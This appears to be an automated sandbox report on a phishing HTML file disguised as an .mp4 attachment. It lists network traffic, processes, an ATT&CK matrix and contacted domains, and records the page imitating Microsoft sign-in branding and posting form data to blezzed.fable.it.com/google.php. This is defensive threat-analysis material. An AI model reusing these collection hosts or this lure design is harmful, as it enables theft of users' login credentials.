Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /gh/pranaynamnaik/files@latest/micro-123787483.png HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /google.php HTTP/1.1Host: blezzed.fable.it.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /google.php HTTP/1.1Host: blezzed.fable.it.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dbd5a2dd-nlhlldmpr8xgfvmyyfjipjxequh8cifshyj9tgu-kfy/logintenantbranding/0/illustration?ts=636765256499979250 HTTP/1.1Host: aadcdn.msauthimages.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dbd5a2dd-nlhlldmpr8xgfvmyyfjipjxequh8cifshyj9tgu-kfy/logintenantbranding/0/bannerlogo?ts=637206711557500447 HTTP/1.1Host: aadcdn.msauthimages.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dbd5a2dd-nlhlldmpr8xgfvmyyfjipjxequh8cifshyj9tgu-kfy/logintenantbranding/0/bannerlogo?ts=637206711557500447 HTTP/1.1Host: aadcdn.msauthimages.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dbd5a2dd-nlhlldmpr8xgfvmyyfjipjxequh8cifshyj9tgu-kfy/logintenantbranding/0/illustration?ts=636765256499979250 HTTP/1.1Host: aadcdn.msauthimages.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /google.php HTTP/1.1Host: blezzed.fable.it.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: maxcdn.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: stackpath.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: 1482474975-1317754460.cos.ap-seoul.myqcloud.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: blezzed.fable.it.com
Source: global traffic	DNS traffic detected: DNS query: cdn.jsdelivr.net
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msauthimages.net

Source: unknown

HTTP traffic detected: POST /google.php HTTP/1.1Host: blezzed.fable.it.comConnection: keep-aliveContent-Length: 13sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Content-Type: application/x-www-form-urlencodedsec-ch-ua-mobile: ?0Accept: */*Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeContent-Length: 53Access-Control-Allow-Origin: *Access-Control-Expose-Headers: *Timing-Allow-Origin: *Cache-Control: public, max-age=600, s-maxage=600Cross-Origin-Resource-Policy: cross-originX-Content-Type-Options: nosniffStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadContent-Type: text/plain; charset=utf-8ETag: W/"35-Su9w8wyWNKnBnB1glhnyKiBNAH4"Accept-Ranges: bytesAge: 39Date: Mon, 17 Mar 2025 16:03:23 GMTX-Served-By: cache-fra-etou8220171-FRA, cache-nyc-kteb1890069-NYCX-Cache: HIT, MISSVary: Accept-Encodingalt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400

Source: chromecache_141.2.dr	String found in binary or memory: http://opensource.org/licenses/MIT).
Source: chromecache_131.2.dr	String found in binary or memory: https://getbootstrap.com)
Source: chromecache_140.2.dr	String found in binary or memory: https://getbootstrap.com/)
Source: chromecache_140.2.dr, chromecache_131.2.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)
Source: chromecache_140.2.dr, chromecache_131.2.dr	String found in binary or memory: https://github.com/twbs/bootstrap/graphs/contributors)

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57725
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57721
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49682 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49697
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 49697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 57711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57711
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789

Source: unknown	HTTPS traffic detected: 104.18.11.207:443 -> 192.168.2.17:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.25.14:443 -> 192.168.2.17:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.10.207:443 -> 192.168.2.17:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.130.137:443 -> 192.168.2.17:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 119.28.146.206:443 -> 192.168.2.17:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.228:443 -> 192.168.2.17:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.129.229:443 -> 192.168.2.17:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.210.51:443 -> 192.168.2.17:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.91.45:443 -> 192.168.2.17:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 92.123.12.181:443 -> 192.168.2.17:49793 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 92.123.12.139:443 -> 192.168.2.17:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.101.182.112:443 -> 192.168.2.17:49803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.101.182.112:443 -> 192.168.2.17:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.101.182.98:443 -> 192.168.2.17:49809 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.101.182.98:443 -> 192.168.2.17:49810 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir6620_1871450044

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir6620_1871450044

Jump to behavior

Source: classification engine

Classification label: mal64.phis.winHTML@26/27@28/14

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\VM(Carmen)52177372.mp4.html
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2056,i,16614817790951963497,9078325586780748719,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2244 /prefetch:3
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2056,i,16614817790951963497,9078325586780748719,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2244 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Stealing of Sensitive Information

HTML file submission containing password form

Source: file:///C:/Users/user/Desktop/VM(Carmen)52177372.mp4.html

HTTP Parser: file:///C:/Users/user/Desktop/VM(Carmen)52177372.mp4.html

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file:///C:/Users/user/Desktop/VM(Carmen)52177372.mp4.html	0%	Avira URL Cloud	safe
https://blezzed.fable.it.com/google.php	0%	Avira URL Cloud	safe
https://1482474975-1317754460.cos.ap-seoul.myqcloud.com/attach%2Fbootstrap.min.js	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
stackpath.bootstrapcdn.com	104.18.11.207	true	false	high
jsdelivr.map.fastly.net	151.101.129.229	true	false	high
blezzed.fable.it.com	172.67.210.51	true	false	high
e329293.dscd.akamaiedge.net	92.123.12.181	true	false	high
s-part-0044.t-0009.fb-t-msedge.net	13.107.253.72	true	false	high
code.jquery.com	151.101.130.137	true	false	high
cdnjs.cloudflare.com	104.17.25.14	true	false	high
maxcdn.bootstrapcdn.com	104.18.10.207	true	false	high
www.google.com	142.250.184.228	true	false	high
cos.ap-seoul.myqcloud.com	119.28.147.117	true	false	high
s-part-0032.t-0009.t-msedge.net	13.107.246.60	true	false	high
aadcdn.msauthimages.net	unknown	unknown	false	high
cdn.jsdelivr.net	unknown	unknown	false	high
1482474975-1317754460.cos.ap-seoul.myqcloud.com	unknown	unknown	false	high
aadcdn.msftauth.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://otelrules.svc.static.microsoft/rules/rule704001v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule703151v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule704151v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule702001v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule704200v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule700451v1s19.xml	false		high
https://code.jquery.com/jquery-3.2.1.slim.min.js	false		high
https://otelrules.svc.static.microsoft/rules/rule703200v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule702451v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule703301v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule700001v2s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule703050v3s19.xml	false		high
https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg	false		high
https://otelrules.svc.static.microsoft/rules/rule701751v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule700650v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule703950v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule702601v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule701650v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule700950v1s19.xml	false		high
https://blezzed.fable.it.com/google.php	false	Avira URL Cloud: safe	unknown
https://otelrules.svc.static.microsoft/rules/rule701950v1s19.xml	false		high
https://cdn.jsdelivr.net/gh/pranaynamnaik/files@latest/micro-123787483.png	false		high
file:///C:/Users/user/Desktop/VM(Carmen)52177372.mp4.html	true	Avira URL Cloud: safe	unknown
https://otelrules.svc.static.microsoft/rules/rule700301v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule701550v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120119v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule700100v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule703201v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule701100v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule701901v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule703951v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule703250v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule700651v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule701651v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule702101v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule702000v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule702450v1s19.xml	false		high
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js	false		high
https://otelrules.svc.static.microsoft/rules/rule703300v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule700450v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule700101v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule702700v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule701551v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule701101v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule700851v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule702701v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule701851v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule702851v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule701750v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule700600v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule700300v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule702401v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120607v1s19.xml	false		high
https://aadcdn.msauthimages.net/dbd5a2dd-nlhlldmpr8xgfvmyyfjipjxequh8cifshyj9tgu-kfy/logintenantbranding/0/illustration?ts=636765256499979250	false		high
https://otelrules.svc.static.microsoft/rules/rule701401v1s19.xml	false		high
https://aadcdn.msauthimages.net/dbd5a2dd-nlhlldmpr8xgfvmyyfjipjxequh8cifshyj9tgu-kfy/logintenantbranding/0/bannerlogo?ts=637206711557500447	false		high
https://otelrules.svc.static.microsoft/rules/rule702600v1s19.xml	false		high
https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js	false		high
https://otelrules.svc.static.microsoft/rules/rule704000v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule224900v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule703251v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule701900v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule704100v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule704150v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule700250v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule704201v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule702100v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule703150v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule703550v0s19.xml	false		high
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js	false		high
https://otelrules.svc.static.microsoft/rules/rule701850v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule700601v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule701400v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120128v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120603v8s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule702850v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule702400v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule700000v2s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule704101v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule700251v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule703551v0s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule700850v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule703051v3s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule701951v1s19.xml	false		high
https://1482474975-1317754460.cos.ap-seoul.myqcloud.com/attach%2Fbootstrap.min.js	false	Avira URL Cloud: safe	unknown
https://otelrules.svc.static.microsoft/rules/rule700951v1s19.xml	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_140.2.dr, chromecache_131.2.dr	false	high
http://opensource.org/licenses/MIT).	chromecache_141.2.dr	false	high
https://getbootstrap.com/)	chromecache_140.2.dr	false	high
